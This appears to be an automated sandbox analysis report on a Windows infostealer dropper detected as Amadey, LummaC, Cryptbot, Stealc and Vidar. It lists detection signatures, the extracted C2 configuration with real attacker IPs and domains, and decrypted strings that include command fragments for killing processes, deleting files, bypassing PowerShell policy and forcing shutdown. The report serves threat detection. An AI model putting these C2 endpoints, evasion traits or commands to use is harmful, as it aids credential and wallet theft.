Windows Analysis Report
px4Y74kUj2.exe

Overview

General Information

Sample name: px4Y74kUj2.exe
renamed because original name is a hash value
Original sample name: be0734da4c14c5b0e54f349528137ef8.exe
Analysis ID: 1611839
MD5: be0734da4c14c5b0e54f349528137ef8
SHA1: e169f868cf140996d4b0d6ebc0e4e243e970c2f3
SHA256: b8782da07ae955694686580401c252ccbe8e5bec977e085f644012fb06a5f09d
Tags: exeuser-abuse_ch
Infos:

Detection

Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar
Score: 100
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Attempt to bypass Chrome Application-Bound Encryption
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and execute file
Suricata IDS alerts for network traffic
Yara detected Amadey
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected Cryptbot
Yara detected LummaC Stealer
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected Stealc
Yara detected Vidar stealer
Yara detected obfuscated html page
Allocates memory in foreign processes
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates HTA files
Creates multiple autostart registry keys
Found API chain indicative of sandbox detection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Leaks process information
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies the prolog of user mode functions (user mode inline hooks)
Monitors registry run keys for changes
PE file contains section with special chars
Powershell drops PE file
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: PowerShell DownloadFile
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Script Execution From Temp Folder
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to download and execute files (via powershell)
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Is looking for software installed on the system
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
PE file does not import any functions
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for the Microsoft Outlook file path
Searches for user specific document files
Sigma detected: Browser Started with Remote Debugging
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx1739003311?argument=0Cs Avira URL Cloud: Label: malware
Source: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx1739003311http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQ Avira URL Cloud: Label: malware
Source: https://ignoredshee.com/apis Avira URL Cloud: Label: malware
Source: tope.fivepp5sb.top Avira URL Cloud: Label: malware
Source: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx1739003311 Avira URL Cloud: Label: malware
Source: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx17 Avira URL Cloud: Label: malware
Source: https://ignoredshee.com/er Avira URL Cloud: Label: malware
Source: https://ignoredshee.com/piLd Avira URL Cloud: Label: malware
Source: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx173900331135a1 Avira URL Cloud: Label: malware
Source: https://ignoredshee.com/mA92% Avira URL Cloud: Label: malware
Source: home.fivepp5sb.top Avira URL Cloud: Label: malware
Source: https://ignoredshee.com/R Avira URL Cloud: Label: malware
Source: http://home.fivepp5sb.top/joLepLgSzIBRhlkJbQYx1739003311?argument=0 Avira URL Cloud: Label: malware
Source: https://ignoredshee.com/apix8x Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[3].exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Bjkm5hE[1].exe Avira: detection malicious, Label: HEUR/AGEN.1314794
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: LummaC {"C2 url": ["ignoredshee.com", "importenptoc.com", "voicesharped.com", "inputrreparnt.com", "torpdidebar.com", "rebeldettern.com", "actiothreaz.com", "garulouscuto.com", "breedertremnd.com"], "Build id": "PsFKDg--pablo"}
Source: f9cb675f2a.exe.4040.20.memstrmin Malware Configuration Extractor: Cryptbot {"C2 list": ["gPhome.fivepp5sb.top", "tope.fivepp5sb.top", "home.fivepp5sb.top"]}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\KUQRYpJ[1].exe ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Bjkm5hE[1].exe ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1074966001\544b1ad39e.exe ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1074971001\KUQRYpJ.exe ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1074972001\Bjkm5hE.exe ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\BYDYGQX1ICXGMYWQ53H5H6EE1S.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\VXAIPJHLIAGNKZRZS3E57X.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe ReversingLabs: Detection: 47%
Multi AV Scanner detection for submitted file
Source: px4Y74kUj2.exe Virustotal: Detection: 30% Perma Link
Source: px4Y74kUj2.exe ReversingLabs: Detection: 52%
Joe Sandbox ML detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[3].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Bjkm5hE[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: px4Y74kUj2.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: 185.215.113.43
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: /Zu7JuNko/index.php
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: S-%lu-
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: abc3bc1985
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: skotes.exe
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Startup
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: cmd /C RMDIR /s/q
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: rundll32
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Programs
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: %USERPROFILE%
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: cred.dll|clip.dll|
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: cred.dll
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: clip.dll
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: http://
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: https://
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: /quiet
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: /Plugins/
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: &unit=
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: shell32.dll
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: kernel32.dll
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: GetNativeSystemInfo
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: ProgramData\
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: AVAST Software
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Kaspersky Lab
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Panda Security
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Doctor Web
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: 360TotalSecurity
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Bitdefender
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Norton
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Sophos
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Comodo
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: WinDefender
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: 0123456789
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: ------
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: ?scr=1
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: ComputerName
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: -unicode-
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: VideoID
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: DefaultSettings.XResolution
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: DefaultSettings.YResolution
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: ProductName
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: CurrentBuild
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: rundll32.exe
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: "taskkill /f /im "
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: " && timeout 1 && del
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: && Exit"
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: " && ren
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: Powershell.exe
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: -executionpolicy remotesigned -File "
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: shutdown -s -t 0
Source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp String decryptor: random
Source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp String decryptor: ignoredshee.com
Source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp String decryptor: importenptoc.com
Source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp String decryptor: voicesharped.com
Source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp String decryptor: inputrreparnt.com
Source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp String decryptor: torpdidebar.com
Source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp String decryptor: rebeldettern.com
Source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp String decryptor: actiothreaz.com
Source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp String decryptor: garulouscuto.com
Source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp String decryptor: breedertremnd.com
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_b833ad49-6

Phishing
barindex
Yara detected obfuscated html page
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\os46r5CTT.hta, type: DROPPED
Uses 32bit PE files
Source: px4Y74kUj2.exe Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49835 version: TLS 1.0
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49934 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49990 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49995 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49999 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50043 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50047 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50045 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50051 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50053 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50058 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50062 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50072 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50077 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50079 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50082 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50083 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50085 version: TLS 1.2
Source: unknown HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50086 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.150.254:443 -> 192.168.2.6:50089 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50090 version: TLS 1.2
Source: Binary string: re.pdb*T source: powershell.exe, 00000009.00000002.2402141054.0000020D731D3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 6?t.Automation.pdb source: powershell.exe, 00000009.00000002.2402141054.0000020D731D3000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0049DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose, 0_2_0049DBBE
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0046C2A2 FindFirstFileExW, 0_2_0046C2A2
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A68EE FindFirstFileW,FindClose, 0_2_004A68EE
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime, 0_2_004A698F
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0049D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_0049D076
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0049D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_0049D3A9
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_004A9642
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_004A979D
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose, 0_2_004A9B2B
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004A5C97 FindFirstFileW,FindNextFileW,FindClose, 0_2_004A5C97
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
